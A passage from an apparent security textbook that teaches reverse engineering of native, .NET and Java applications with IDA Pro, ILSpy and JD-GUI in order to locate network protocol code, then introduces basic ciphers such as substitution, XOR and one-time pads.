look at some methods of reverse engineering. Static reverse engineering is the 
process of dissecting an application executable to determine what it does. 
Ideally, we could reverse the compilation process to the original source 
code, but that’s usually too difficult to do. Instead, it’s more common to 
disassemble the executable.

Rather than attacking a binary with only a hex editor and a machine 
code reference, you can use one of many tools to disassemble binaries. 
One such tool is the Linux-based objdump, which simply prints the disas-
sembled output to the console or to a file. Then it’s up to you to navigate 
through the disassembly using a text editor. However, objdump isn’t very 
user friendly.

Fortunately, there are interactive disassemblers that present disas-
sembled code in a form that you can easily inspect and navigate. By far, 
the most fully featured of these is IDA Pro, which was developed by the 
Hex Rays company. IDA Pro is the go-to tool for static reversing, and it 
supports many common executable formats as well as almost any CPU 
architecture. The full version is pricey, but a free edition is also available. 
Although the free version only disassembles x86 code and can’t be used 
in a commercial environment, it’s perfect for getting you up to speed with 
a disassembler. You can download the free version of IDA Pro from the 
Hex Rays website at https://www.hex-rays.com/. The free version is only for 
Windows, but it should run well under Wine on Linux or macOS. Let’s 
take a quick tour of how to use IDA Pro to dissect a simple network binary.

A Quick Guide to Using IDA Pro Free Edition
Once it’s installed, start IDA Pro and then choose the target executable 
by clicking File4Open. The Load a new file window should appear (see 
Figure 6-5).

This window displays several options, but most are for advanced users; 
you only need to consider certain important options. The first option 
allows you to choose the executable format you want to inspect u. The 
default in the figure, Portable executable, is usually the correct choice, 
but it’s always best to check. The Processor type v specifies the processor 
architecture as the default, which is x86. This option is especially important 
when you’re disassembling binary data for unusual processor architectures. 
When you’re sure the options you chose are correct, click OK to begin 
disassembly.

Your choices for the first and second options will depend on the execut-
able you’re trying to disassemble. In this example, we’re disassembling a 
Windows executable that uses the PE format with an x86 processor. For 
other platforms, such as macOS or Linux, you’ll need to select the appro-
priate options. IDA will make its best efforts to detect the format necessary 
to disassemble your target, so normally you won’t need to choose. During 
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disassembly, it will do its best to find all executable code, annotate the 
decompiled functions and data, and determine cross-references between 
areas of the disassembly. 





Figure 6-5: Options for loading a new file

By default, IDA attempts to provide annotations for variable names and 
function parameters if it knows about them, such as when calling common 
API functions. For cross-references, IDA will find the locations in the disas-
sembly where data and code are referenced: you can look these up when 
you’re reverse engineering, as you’ll soon see. Disassembly can take a long 
time. When the process is complete, you should have access to the main 
IDA interface, as shown in Figure 6-6.

There are three important windows to pay attention to in IDA’s main 
interface. The window at v is the default disassembly view. In this example, 
it shows the IDA Pro graph view, which is often a very useful way to view an 
individual function’s flow of execution. To display a native view showing the 
disassembly in a linear format based on the loading address of instructions, 
press the spacebar. The window at w shows the status of the disassembly pro-
cess as well as any errors that might occur if you try to perform an operation 
in IDA that it doesn’t understand. The tabs of the open windows are at u.

You can open additional windows in IDA by selecting View4Open sub-
views. Here are some windows you’ll almost certainly need and what they 
display:

IDA View  Shows the disassembly of the executable

Exports  Shows any functions exported by the executable

Imports  Shows any functions dynamically linked into this executable 
at runtime
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Functions  Shows a list of all functions that IDA Pro has identified 

Strings  Shows a list of printable strings that IDA Pro has identified 
during analysis 

�

�

�

Figure 6-6: The main IDA Pro interface

Of the five window types listed, the last four are basically just lists of 
information. The IDA View is where you’ll spend most of your time when 
you’re reverse engineering, because it shows you the disassembled code. You 
can easily navigate around the disassembly 
in IDA View. For example, double-click 
anything that looks like a function name 
or data reference to navigate automatically 
to the location of the reference. This tech-
nique is especially useful when you’re ana-
lyzing calls to other functions: for instance, 
if you see CALL sub_400100, just double-click 
the sub_400100 portion to be taken directly 
to the function. You can go to the original 
caller by pressing the esc key or the back 
button, highlighted in Figure 6-7.

In fact, you can navigate back and forth in the disassembly window as 
you would in a web browser. When you find a reference string in the text, 

Figure 6-7: The back button for 
the IDA Pro disassembly window
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move the text cursor to the reference and press X or right-click and choose 
Jump to xref to operand to bring up a cross-reference dialog that shows 
a list of all locations in the executable referencing that function or data 
value. Double-click an entry to navigate directly to the reference in the dis-
assembly window.

N ote   	 By default, IDA will generate automatic names for referenced values. For example, 
functions are named sub_XXXX, where XXXX is their memory address; the name 
loc_XXXX indicates branch locations in the current function or locations that are 
not contained in a function. These names may not help you understand what 
the disassembly is doing, but you can rename these references to make them more 
meaningful. To rename references, move the cursor to the reference text and press N 
or right-click and select Rename from the menu. The changes to the name should 
propagate everywhere it is referenced.

Analyzing Stack Variables and Arguments
Another feature in IDA’s disassembly window is its analysis of stack variables 
and arguments. When I discussed calling conventions in “Application Binary 
Interface” on page 123, I indicated that parameters are generally passed on 
the stack, but that the stack also stores temporary local variables, which are 
used by functions to store important values that can’t fit into the available 
registers. IDA Pro will analyze the function and determine how many argu-
ments it takes and which local variables it uses. Figure 6-8 shows these vari-
ables at the start of a disassembled function as well as a few instructions that 
use these variables.

Local variables

Passed arguments

Uses of stack

Figure 6-8: A disassembled function showing local variables and arguments

You can rename these local variables and arguments and look up all 
their cross-references, but cross-references for local variables and argu-
ments will stay within the same function.
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Identifying Key Functionality 
Next, you need to determine where the executable you’re disassembling 
handles the network protocol. The most straightforward way to do this is 
to inspect all parts of the executable in turn and determine what they do. 
But if you’re disassembling a large commercial product, this method is very 
inefficient. Instead, you’ll need a way to quickly identify areas of functional-
ity for further analysis. In this section, I’ll discuss four typical approaches 
for doing so, including extracting symbolic information, looking up which 
libraries are imported into the executable, analyzing strings, and identify-
ing automated code.

Extracting Symbolic Information

Compiling source code into a native executable is a lossy process, espe-
cially when the code includes symbolic information, such as the names of 
variables and functions or the form of in-memory structures. Because this 
information is rarely needed for a native executable to run correctly, the 
compilation process may just discard it. But dropping this information 
makes it very difficult to debug problems in the built executable.

All compilers support the ability to convert symbolic information and 
generate debug symbols with information about the original source code line 
associated with an instruction in memory as well as type information for 
functions and variables. However, developers rarely leave in debug symbols 
intentionally, choosing instead to remove them before a public release to 
prevent people from discovering their proprietary secrets (or bad code). 
Still, sometimes developers slip up, and you can take advantage of those 
slipups to aid reverse engineering.

IDA Pro loads debug symbols automatically whenever possible, but 
sometimes you’ll need to hunt down the symbols on your own. Let’s look 
at the debug symbols used by Windows, macOS, and Linux, as well as where 
the symbolic information is stored and how to get IDA to load it correctly.

When a Windows executable is built using common compilers (such as 
Microsoft Visual C++), the debug symbol information isn’t stored inside the 
executable; instead, it’s stored in a section of the executable that provides 
the location of a program database (PDB) file. In fact, all the debug informa-
tion is stored in this PDB file. The separation of the debug symbols from 
the executable makes it easy to distribute the executable without debug 
information while making that information readily available for debugging.

PDB files are rarely distributed with executables, at least in closed-
source software. But one very important exception is Microsoft Windows. 
To aid debugging efforts, Microsoft releases public symbols for most exe-
cutables installed as part of Windows, including the kernel. Although these 
PDB files don’t contain all the debug information from the compilation 
process (Microsoft strips out information they don’t want to make public, 
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such as detailed type information), the files still contain most of the func-
tion names, which is often what you want. The upshot is that when reverse 
engineering Windows executables, IDA Pro should automatically look up 
the symbol file on Microsoft’s public symbol server and process it. If you 
happen to have the symbol file (because it came with the executable), load 
it by placing it next to the executable in a directory and then have IDA Pro 
disassemble the executable. You can also load PDB files after initial disas-
sembly by selecting File4Load File4PDB File.

Debug symbols are most significant in reverse engineering in IDA Pro 
when naming functions in the disassembly and Functions windows. If the 
symbols also contain type information, you should see annotations on the 
function calls that indicate the types of parameters, as shown in Figure 6-9.

Figure 6-9: Disassembly with debug symbols

Even without a PDB file, you might be able to access some symbolic 
information from the executable. Dynamic libraries, for example, must 
export some functions for another executable to use: that export will pro-
vide some basic symbolic information, including the names of the external 
functions. From that information, you should be able to drill down to find 
what you’re looking for in the Exports window. Figure 6-10 shows what this 
information would look like for the ws2_32.dll Windows network library.
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Figure 6-10: Exports from the ws2_32.dll library

Debug symbols work similarly on macOS, except debugging informa-
tion is contained in a debugging symbols package (dSYM), which is created 
alongside the executable rather than in a single PDB file. The dSYM pack-
age is a separate macOS package directory and is rarely distributed with 
commercial applications. However, the Mach-O executable format can store 
basic symbolic information, such as function and data variable names, in 
the executable. A developer can run a tool called Strip, which will remove 
all this symbolic information from a Mach-O binary. If they do not run 
Strip, then the Mach-O binary may still contain useful symbolic informa-
tion for reverse engineering.

On Linux, ELF executable files package all debug and other symbolic 
information into a single executable file by placing debugging informa-
tion into its own section in the executable. As with macOS, the only way to 
remove this information is with the Strip tool; if the developer fails to do 
so before release, you might be in luck. (Of course, you’ll have access to the 
source code for most programs running on Linux.)

Viewing Imported Libraries

On a general purpose operating system, calls to network APIs aren’t likely 
to be built directly into the executable. Instead, functions will be dynami-
cally linked at runtime. To determine what an executable imports dynami-
cally, view the Imports window in IDA Pro, as shown in Figure 6-11.

In the figure, various network APIs are imported from the ws2_32.dll 
library, which is the BSD sockets implementation for Windows. When you 
double-click an entry, you should see the import in a disassembly window. 
From there, you can find references to that function by using IDA Pro to 
show the cross-references to that address.
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Figure 6-11: The Imports window

In addition to network functions, you might also see that various cryp-
tographic libraries have been imported. Following these references can lead 
you to where encryption is used in the executable. By using this imported 
information, you may be able to trace back to the original callee to find out 
how it’s been used. Common encryption libraries include OpenSSL and the 
Windows Crypt32.dll.

Analyzing Strings 

Most applications contain strings with printable text information, such 
as text to display during application execution, text for logging purposes, 
or text left over from the debugging process that isn’t used. The text, espe-
cially internal debug information, might hint at what a disassembled func-
tion is doing. Depending on how the developer added debug information, 
you might find the function name, the original C source code file, or even 
the line number in the source code where the debug string was printed. 
(Most C and C++ compilers support a syntax to embed these values into a 
string during compilation.)

IDA Pro tries to find printable text strings as part of its analysis process. 
To display these strings, open the Strings window. Click a string of interest, 
and you’ll see its definition. Then you can attempt to find references to the 
string that should allow you to trace back to the functionality associated 
with it.

String analysis is also useful for determining which libraries an execut-
able was statically linked with. For example, the ZLib compression library 
is commonly statically linked, and the linked executable should always con-
tain the following string (the version number might differ):

inflate 1.2.8 Copyright 1995-2013 Mark Adler

By quickly discovering which libraries are included in an executable, 
you might be able to successfully guess the structure of the protocol.
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Identifying Automated Code 

Certain types of functionality lend themselves to automated identification. 
For example, encryption algorithms typically have several magic constants 
(numbers defined by the algorithm that are chosen for particular math-
ematical properties) as part of the algorithm. If you find these magic con-
stants in the executable, you know a particular encryption algorithm is at 
least compiled into the executable (though it isn’t necessarily used). For 
example, Listing 6-3 shows the initialization of the MD5 hashing algorithm, 
which uses magic constant values.

void md5_init( md5_context *ctx )
{
    ctx->state[0] = 0x67452301;
    ctx->state[1] = 0xEFCDAB89;
    ctx->state[2] = 0x98BADCFE;
    ctx->state[3] = 0x10325476;
}

Listing 6-3: MD5 initialization showing magic constants

Armed with knowledge of the MD5 algorithm, you can search for 
this initialization code in IDA Pro by selecting a disassembly window and 
choosing Search4Immediate value. Complete the dialog as shown in 
Figure 6-12 and click OK.

Figure 6-12: The IDA Pro search box for  
MD5 constant

If MD5 is present, your search should display a list of places where that 
unique value is found. Then you can switch to the disassembly window to 
try to determine what code uses that value. You can also use this technique 
with algorithms, such as the AES encryption algorithm, which uses special 
s-box structures that contain similar magic constants.

However, locating algorithms using IDA Pro’s search box can be time 
consuming and error prone. For example, the search in Figure 6-12 will 
pick up MD5 as well as SHA-1, which uses the same four magic constants 
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(and adds a fifth). Fortunately, there are tools that can do these searches 
for you. One example, PEiD (available from http://www.softpedia.com/get/
Programming/Packers-Crypters-Protectors/PEiD-updated.shtml), determines 
whether a Windows PE file is packed with a known packing tool, such as 
UPX. It includes a few plug-ins, one of which will detect potential encryp-
tion algorithms and indicate where in the executable they are referenced.

To use PEiD to detect cryptographic algorithms, start PEiD and 
click the top-right button … to choose a PE executable to analyze. Then 
run the plug-in by clicking the button on the bottom right and selecting 
Plugins4Krypto Analyzer. If the executable contains any cryptographic 
algorithms, the plug-in should identify them and display a dialog like the 
one in Figure 6-13. You can then enter the referenced address value u into 
IDA Pro to analyze the results.

�

Figure 6-13: The result of PEiD cryptographic  
algorithm analysis

Dynamic Reverse Engineering
Dynamic reverse engineering is about inspecting the operation of a running 
executable. This method of reversing is especially useful when analyzing 
complex functionality, such as custom cryptography or compression rou-
tines. The reason is that instead of staring at the disassembly of complex 
functionality, you can step through it one instruction at a time. Dynamic 
reverse engineering also lets you test your understanding of the code by 
allowing you to inject test inputs.

The most common way to perform dynamic reverse engineering is to 
use a debugger to halt a running application at specific points and inspect 
data values. Although several debugging programs are available to choose 
from, we’ll use IDA Pro, which contains a basic debugger for Windows 
applications and synchronizes between the static and debugger view. For 
example, if you rename a function in the debugger, that change will be 
reflected in the static disassembly.

http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
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N ote   	 Although I use IDA Pro on Windows in the following discussion, the basic techniques 
are applicable to other operating systems and debuggers.

To run the currently disassembled executable in IDA Pro’s debugger, 
press F9. If the executable needs command line arguments, add them by 
selecting Debugger4Process Options and filling in the Parameters text 
box in the displayed dialog. To stop debugging a running process, press 
ctrl-F2.

Setting Breakpoints
The simplest way to use a debugger’s features is to set breakpoints at places of 
interest in the disassembly, and then inspect the state of the running pro-
gram at these breakpoints. To set a breakpoint, find an area of interest and 
press F2. The line of disassembly should turn red, indicating that the break-
point has been set correctly. Now, whenever the program tries to execute 
the instruction at that breakpoint, the debugger should stop and give you 
access to the current state of the program. 

Debugger Windows
By default, the IDA Pro debugger shows three important windows when the 
debugger hits a breakpoint.

The EIP Window

The first window displays a disassembly view based on the instruction in 
the EIP register that shows the instruction currently being executed (see 
Figure 6-14). This window works much like the disassembly window does 
while doing static reverse engineering. You can quickly navigate from this 
window to other functions and rename references (which are reflected in 
your static disassembly). When you hover the mouse over a register, you 
should see a quick preview of the value, which is very useful if the register 
points to a memory address.

Figure 6-14: The debugger EIP window
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The ESP Window

The debugger also shows an ESP window that reflects the current location of 
the ESP register, which points to the base of the current thread’s stack. Here 
is where you can identify the parameters being passed to function calls or 
the value of local variables. For example, Figure 6-15 shows the stack values 
just before calling the send function. I’ve highlighted the four parameters. 
As with the EIP window, you can double-click references to navigate to that 
location.

Figure 6-15: The debugger ESP window

The State of the General Purpose Registers

The General registers default window shows the current state of the general 
purpose registers. Recall that registers are used to store the current values 
of various program states, such as loop counters and memory addresses. 
For memory addresses, this window provides a convenient way to navigate 
to a memory view window: click the arrow next to each address to navigate 
from the last active memory window to the memory address corresponding 
to that register value.

To create a new memory window, right-click the array and select Jump 
in new window. You’ll see the condition flags from the EFLAGS register on 
the right side of the window, as shown in Figure 6-16.

Figure 6-16: The General registers window
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Where to Set Breakpoints?
Where are the best places to set breakpoints when you’re investigating a 
network protocol? A good first step is to set breakpoints on calls to the 
send and recv functions, which send and receive data from the network 
stack. Cryptographic functions are also a good target: you can set break-
points on functions that set the encryption key or the encryption and 
decryption functions. Because the debugger synchronizes with the static 
disassembler in IDA Pro, you can also set breakpoints on code areas that 
appear to be building network protocol data. By stepping through instruc-
tions with breakpoints, you can better understand how the underlying 
algorithms work. 

Reverse Engineering Managed Languages
Not all applications are distributed as native executables. For example, 
applications written in managed languages like .NET and Java compile to an 
intermediate machine language, which is commonly designed to be CPU 
and operating system agnostic. When the application is executed, a virtual 
machine or runtime executes the code. In .NET this intermediate machine 
language is called common intermediate language (CIL); in Java it’s called Java 
byte code. 

These intermediate languages contain substantial amounts of meta-
data, such as the names of classes and all internal- and external-facing 
method names. Also, unlike for native-compiled code, the output of 
managed languages is fairly predictable, which makes them ideal for 
decompiling. 

In the following sections, I’ll examine how .NET and Java applications 
are packaged. I’ll also demonstrate a few tools you can use to reverse engi-
neer .NET and Java applications efficiently.

.NET Applications
The .NET runtime environment is called the common language runtime 
(CLR). A .NET application relies on the CLR as well as a large library of 
basic functionality called the base class library (BCL). 

Although .NET is primarily a Microsoft Windows platform (it is devel-
oped by Microsoft after all), a number of other, more portable versions are 
available. The best known is the Mono Project, which runs on Unix-like 
systems and covers a wide range of CPU architectures, including SPARC 
and MIPS. 

If you look at the files distributed with a .NET application, you’ll see 
files with .exe and .dll extensions, and you’d be forgiven for assuming they’re 
just native executables. But if you load these files into an x86 dis-assembler, 
you’ll be greeted with a message similar to the one shown in Figure 6-17.
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Figure 6-17: A .NET executable in an  
x86 disassembler

As it turns out, .NET only uses the .exe and .dll file formats as conve-
nient containers for the CIL code. In the .NET runtime, these containers 
are referred to as assemblies. 

Assemblies contain one or more classes, enumerations, and/or 
structures. Each type is referred to by a name, typically consisting of a 
namespace and a short name. The namespace reduces the likelihood of 
conflicting names but can also be useful for categorization. For example, 
any types under the namespace System.Net deal with network functionality. 

Using ILSpy
You’ll rarely, if ever, need to interact with raw CIL because tools like 
Reflector (https://www.red-gate.com/products/dotnet-development/reflector/) 
and ILSpy (http://ilspy.net/) can decompile CIL data into C# or Visual 
Basic source and display the original CIL. Let’s look at how to use ILSpy, 
a free open source tool that you can use to find an application’s network 
functionality. Figure 6-18 shows ILSpy’s main interface.

The interface is split into two windows. The left window u is a tree-
based listing of all assemblies that ILSpy has loaded. You can expand the 
tree view to see the namespaces and the types an assembly contains v. The 
right window shows disassembled source code w. The assembly you select in 
the left window is expanded on the right.

To work with a .NET application, load it into ILSpy by pressing ctrl+O 
and selecting the application in the dialog. If you open the application’s 
main executable file, ILSpy should automatically load any assembly refer-
enced in the executable as necessary.

With the application open, you can search for the network function-
ality. One way to do so is to search for types and members whose names 
sound like network functions. To search all loaded assemblies, press F3. A 
new window should appear on the right side of your screen, as shown in 
Figure 6-19.

https://www.red-gate.com/products/dotnet-development/reflector/
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Figure 6-18: The ILSpy main interface

� �

�

Figure 6-19: The ILSpy Search window
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Enter a search term at u to filter out all loaded types and display them 
in the window below. You can also search for members or constants by 
selecting them from the drop-down list at v. For example, to search for 
literal strings, select Constant. When you’ve found an entry you want to 
inspect, such as TcpNetworkListener w, double-click it and ILSpy should 
automatically decompile the type or method.

Rather than directly searching for specific types and members, you can 
also search an application for areas that use built-in network or cryptogra-
phy libraries. The base class library contains a large set of low-level socket 
APIs and libraries for higher-level protocols, such as HTTP and FTP. If you 
right-click a type or member in the left window and select Analyze, a new 
window should appear, as shown at the right side of Figure 6-20.

�

�

�

Figure 6-20: ILSpy analyzing a type

This new window is a tree, which when expanded, shows the types of 
analyses that can be performed on the item you selected in the left window. 
Your options will depend on what you selected to analyze. For example, ana-
lyzing a type u shows three options, although you’ll typically only need to 
use the following two forms of analysis:

Instantiated By  Shows which methods create new instances of this type

Exposed By  Shows which methods or properties use this type in their 
declaration or parameters
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If you analyze a member, a method, or a property, you’ll get two 
options v:

Uses  Shows what other members or types the selected member uses

Used By  Shows what other members use the selected member (say, by 
calling the method)

You can expand all entries w. 
And that’s pretty much all there is to statically analyzing a .NET appli-

cation. Find some code of interest, inspect the decompiled code, and then 
start analyzing the network protocol.

N ote   	 Most of .NET’s core functionality is in the base class library distributed with the 
.NET runtime environment and available to all .NET applications. The assemblies 
in the BCL provide several basic network and cryptographic libraries, which applica-
tions are likely to need if they implement a network protocol. Look for areas that refer-
ence types in the System.Net and System.Security.Cryptography namespaces. These 
are mostly implemented in the MSCORLIB and System assemblies. If you can trace 
back from calls to these important APIs, you’ll discover where the application handles 
the network protocol.

Java Applications
Java applications differ from .NET applications in that the Java compiler 
doesn’t merge all types into a single file; instead, it compiles each source 
code file into a single Class file with a .class extension. Because separate Class 
files in filesystem directories aren’t very convenient to transfer between sys-
tems, Java applications are often packaged into a Java archive, or JAR. A JAR 
file is just a ZIP file with a few additional files to support the Java runtime. 
Figure 6-21 shows a JAR file opened in a ZIP decompression program.

Figure 6-21: An example JAR file opened with a ZIP application
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To decompile Java programs, I recommend using JD-GUI (http://jd.benow​
.ca/), which works in essentially the same as ILSpy when decompiling .NET 
applications. I won’t cover using JD-GUI in depth but will just highlight a few 
important areas of the user interface in Figure 6-22 to get you up to speed.
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Figure 6-22: JD-GUI with an open JAR File

Figure 6-22 shows the JD-GUI user interface when you open the JAR 
file jce.jar , which is installed by default when you install Java and can usu-
ally be found in JAVAHOME/lib. You can open individual class files or mul-
tiple JAR files at one time depending on the structure of the application 
you’re reverse engineering. When you open a JAR file, JD-GUI will parse the 
metadata as well as the list of classes, which it will present in a tree structure. 
In Figure 6-22 we can see two important piece of information JD-GUI has 
extracted. First, a package named javax.crypto , which defines the classes 
for various Java cryptographic operations. Underneath the package name is 
list of classes defined in that package, such as CryptoAllPermissionCollection​
.class . If you click the class name in the left window, a decompiled version 
of the class will be shown on the right . You can scroll through the decom-
piled code, or click on the fields and methods exposed by the class  to 
jump to them in the decompiled code window. 

The second important thing to note is that any identifier underlined in 
the decompiled code can be clicked, and the tool will navigate to the defini-
tion. If you clicked the underlined all_allowed identifier , the user inter-
face would navigate to the definition of the all_allowed field in the current 
decompiled class.
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Dealing with Obfuscation
All the metadata included with a typical .NET or Java application makes 
it easier for a reverse engineer to work out what an application is doing. 
However, commercial developers, who employ special “secret sauce” net-
work protocols, tend to not like the fact that these applications are much 
easier to reverse engineer. The ease with which these languages are decom-
piled also makes it relatively straightforward to discover horrible security 
holes in custom network protocols. Some developers might not like you 
knowing this, so they use obscurity as a security solution. 

You’ll likely encounter applications that are intentionally obfuscated 
using tools such as ProGuard for Java or Dotfuscator for .NET. These tools 
apply various modifications to the compiled application that are designed 
to frustrate a reverse engineer. The modification might be as simple as 
changing all the type and method names to meaningless values, or it might 
be more elaborate, such as employing runtime decryption of strings and 
code. Whatever the method, obfuscation will make decompiling the code 
more difficult. For example, Figure 6-23 shows an original Java class next 
to its obfuscated version, which was obtained after running it through 
ProGuard.

Original Obfuscated

Figure 6-23: Original and obfuscated class file comparison

If you encounter an obfuscated application, it can be difficult to deter-
mine what it’s doing using normal decompilers. After all, that’s the point of 
the obfuscation. However, here are a few tips to use when tackling them: 

•	 Keep in mind that external library types and methods (such as core 
class libraries) cannot be obfuscated. Calls to the socket APIs must 
exist in the application if it does any networking, so search for them.
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•	 Because .NET and Java are easy to load and execute dynamically, you 
can write a simple test harness to load the obfuscated application and 
run the string or code decryption routines.

•	 Use dynamic reverse engineering as much as possible to inspect types 
at runtime to determine what they’re used for.

Reverse Engineering Resources
The following URLs provide access to excellent information resources 
for reverse engineering software. These resources provide more details 
on reverse engineering or other related topics, such as executable file 
formats.

•	 OpenRCE Forums: http://www.openrce.org/

•	 ELF File Format: http://refspecs.linuxbase.org/elf/elf.pdf

•	 macOS Mach-O Format: https://web.archive.org/web/20090901205800/
http://developer.apple.com/mac/library/documentation/DeveloperTools/
Conceptual/MachORuntime/Reference/reference.html

•	 PE File Format: https://msdn.microsoft.com/en-us/library/windows/desktop/
ms680547(v=vs.85).aspx

For more information on the tools used in this chapter, including 
where to download them, turn to Appendix A.

Final Words
Reverse engineering takes time and patience, so don’t expect to learn it 
overnight. It takes time to understand how the operating system and the 
architecture work together, to untangle the mess that optimized C can pro-
duce in the disassembler, and to statically analyze your decompiled code. I 
hope I’ve given you some useful tips on reverse engineering an executable 
to find its network protocol code. 

The best approach when reverse engineering is to start on small exe-
cutables that you already understand. You can compare the source of these 
small executables to the disassembled machine code to better understand 
how the compiler translated the original programming language.

Of course, don’t forget about dynamic reverse engineering and using 
a debugger whenever possible. Sometimes just running the code will be a 
more efficient method than static analysis. Not only will stepping through 
a program help you to better understand how the computer architecture 
works, but it will also allow you to analyze a small section of code fully. If 
you’re lucky, you might get to analyze a managed language executable writ-
ten in .NET or Java using one of the many tools available. Of course, if the 
developer has obfuscated the executable, analysis becomes more difficult, 
but that’s part of the fun of reverse engineering. 

http://www.openrce.org/
http://refspecs.linuxbase.org/elf/elf.pdf
https://web.archive.org/web/20090901205800/
http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v-vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v-vs.85).aspx
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N etwork       P rotocol        S ec  u rit   y

Network protocols transfer information between par-
ticipants in a network, and there’s a good chance that 
information is sensitive. Whether the information 
includes credit card details or top secret information 
from government systems, it’s important to provide 
security. Engineers consider many requirements for security when they 
initially design a protocol, but vulnerabilities often surface over time, espe-
cially when a protocol is used on public networks where anyone monitoring 
traffic can attack it. 

All secure protocols should do the following:

•	 Maintain data confidentiality by protecting data from being read

•	 Maintain data integrity by protecting data from being modified
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•	 Prevent an attacker from impersonating the server by implementing 
server authentication

•	 Prevent an attacker from impersonating the client by implementing cli-
ent authentication

In this chapter, I’ll discuss ways in which these four requirements are 
met in common network protocols, address potential weaknesses to look 
out for when analyzing a protocol, and describe how these requirements 
are implemented in a real-world secure protocol. I’ll cover how to identify 
which protocol encryption is in use or what flaws to look for in subsequent 
chapters. 

The field of cryptography includes two important techniques many net-
work protocols use, both of which protect data or a protocol in some way: 
encryption provides data confidentiality, and signing provides data integrity 
and authentication. 

Secure network protocols heavily use encryption and signing, but 
cryptography can be difficult to implement correctly: it’s common to find 
implementation and design mistakes that lead to vulnerabilities that can 
break a protocol’s security. When analyzing a protocol, you should have a 
solid understanding of the technologies and algorithms involved so you can 
spot and even exploit serious weaknesses. Let’s look at encryption first to 
see how mistakes in the implementation can compromise the security of an 
application. 

Encryption Algorithms
The history of encryption goes back thousands of years, and as electronic 
communications have become easier to monitor, encryption has become 
considerably more important. Modern encryption algorithms often rely on 
very complex mathematical models. However, just because a protocol uses 
complex algorithms doesn’t mean it’s secure. 

We usually refer to an encryption algorithm as a cipher or code depend-
ing on how it’s structured. When discussing the encrypting operation, the 
original, unencrypted message is referred to as plaintext. The output of the 
encryption algorithm is an encrypted message called cipher text. The major-
ity of algorithms also need a key for encryption and decryption. The effort 
to break or weaken an encryption algorithm is called cryptanalysis. 

Many algorithms that were once thought to be secure have shown 
numerous weaknesses and even backdoors. In part, this is due to the mas-
sive increase in computing performance since the invention of such algo-
rithms (some of which date back to the 1970s), making feasible attacks that 
we once thought possible only in theory. 

If you want to break secure network protocols, you need to understand 
some of the well-known cryptographic algorithms and where their weak-
nesses lie. Encryption doesn’t have to involve complex mathematics. Some 
algorithms are only used to obfuscate the structure of the protocol on the 
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network, such as strings or numbers. Of course, if an algorithm is simple, its 
security is generally low. Once the mechanism of obfuscation is discovered, 
it provides no real security. 

Here I’ll provide an overview some common encryption algorithms, but 
I won’t cover the construction of these ciphers in depth because in protocol 
analysis, we only need to understand the algorithm in use.

Substitution Ciphers
A substitution cipher is the simplest form of encryption. Substitution ciphers 
use an algorithm to encrypt a value based on a substitution table that con-
tains one-to-one mapping between the plaintext and the corresponding 
cipher text value, as shown in Figure 7-1. To decrypt the cipher text, the 
process is reversed: the cipher value is looked up in a table (that has been 
reversed), and the original plaintext value is reproduced. Figure 7-1 shows 
an example substitution cipher.

Plaintext

Cipher text

H L L O

X Z P P B

Substitution table
A = Q, B = I, H = X

E = Z, L = P, O = B

E

Figure 7-1: Substitution cipher encryption

In Figure 7-1, the substitution table (meant as just a simple example) 
has six defined substitutions shown to the right. In a full substitution 
cipher, many more substitutions would typically be defined. During encryp-
tion, the first letter is chosen from the plaintext, and the plaintext letter’s 
substitution is then looked up in the substitution table. Here, H in HELLO 
is replaced with the letter X. This process continues until all the letters are 
encrypted. 

Although substitution can provide adequate protection against casual 
attacks, it fails to withstand cryptanalysis. Frequency analysis is commonly 
used to crack substitution ciphers by correlating the frequency of symbols 
found in the cipher text with those typically found in plaintext data sets. 
For example, if the cipher protects a message written in English, frequency 
analysis might determine the frequency of certain common letters, punc-
tuation, and numerals in a large body of written works. Because the letter 
E is the most common in the English language, in all probability the most 
frequent character in the enciphered message will represent E. By following 
this process to its logical conclusion, it’s possible to build the original substi-
tution table and decipher the message. 
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XOR Encryption
The XOR encryption algorithm is a very simple technique for encrypt-
ing and decrypting data. It works by applying the bitwise XOR operation 
between a byte of plaintext and a byte of the key, which results in the cipher 
text. For example, given the byte 0x48 and the key byte 0x82, the result of 
XORing them would be 0xCA. 

Because the XOR operation is symmetric, applying that same key byte 
to the cipher text returns the original plaintext. Figure 7-2 shows the XOR 
encryption operation with a single-byte key.

Fixed key

Plaintext

Cipher text

'H'
0x48

'e'
0x65

'l'
0x6C

'l'
0x6C

'o'
0x6F

0x82

0xCA 0xE7 0xEE 0xEE 0xED

XOR operation

Figure 7-2: An XOR cipher operation with a single-byte key

Specifying a single-byte key makes the encryption algorithm very simple 
and not very secure. It wouldn’t be difficult for an attacker to try all 256 pos-
sible values for the key to decrypt the cipher text into plaintext, and increas-
ing the size of the key wouldn’t help. As the XOR operation is symmetric, the 
cipher text can be XORed with the known plaintext to determine the key. 
Given enough known plaintext, the key could be calculated and applied to 
the rest of the cipher text to decrypt the entire message.

The only way to securely use XOR encryption is if the key is the same 
size as the message and the values in the key are chosen completely at ran-
dom. This approach is called one-time pad encryption and is quite difficult to 
break. If an attacker knows even a small part of the plaintext, they won’t be 
able to determine the complete key. The only way to recover the key would 
be to know the entire plaintext of the message; in that case, obviously, the 
attacker wouldn’t need to recover the key. 

Unfortunately, the one-time pad encryption algorithm has significant 
problems and is rarely used in practice. One problem is that when using a 
one-time pad, the size of the key material you send must be the same size 
as any message to the sender and recipient. The only way a one time pad 
can be secure is if every byte in the message is encrypted with a completely 
random value. Also, you can never reuse a one-time pad key for different 
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messages, because if an attacker can decrypt your message one time, then 
they can recover the key, and then subsequent messages encrypted with the 
same key are compromised.

If XOR encryption is so inferior, why even mention it? Well, even 
though it isn’t “secure,” developers still use it out of laziness because it’s 
easy to implement. XOR encryption is also used as a primitive to build 
more secure encryption algorithms, so it’s important to understand how 
it works. 

Random Number Generators
Cryptographic systems heavily rely on good quality random numbers. In 
this chapter, you’ll see them used as per-session keys, initialization vectors, 
and the large primes p and q for the RSA algorithm. However, getting truly 
random data is difficult because computers are by nature deterministic: any 
given program should produce the same output when given the same input 
and state. 

One way to generate relatively unpredictable data is by sampling physi-
cal processes. For example, you could time a user’s key presses on the key-
board or sample a source of electrical noise, such as the thermal noise in a 
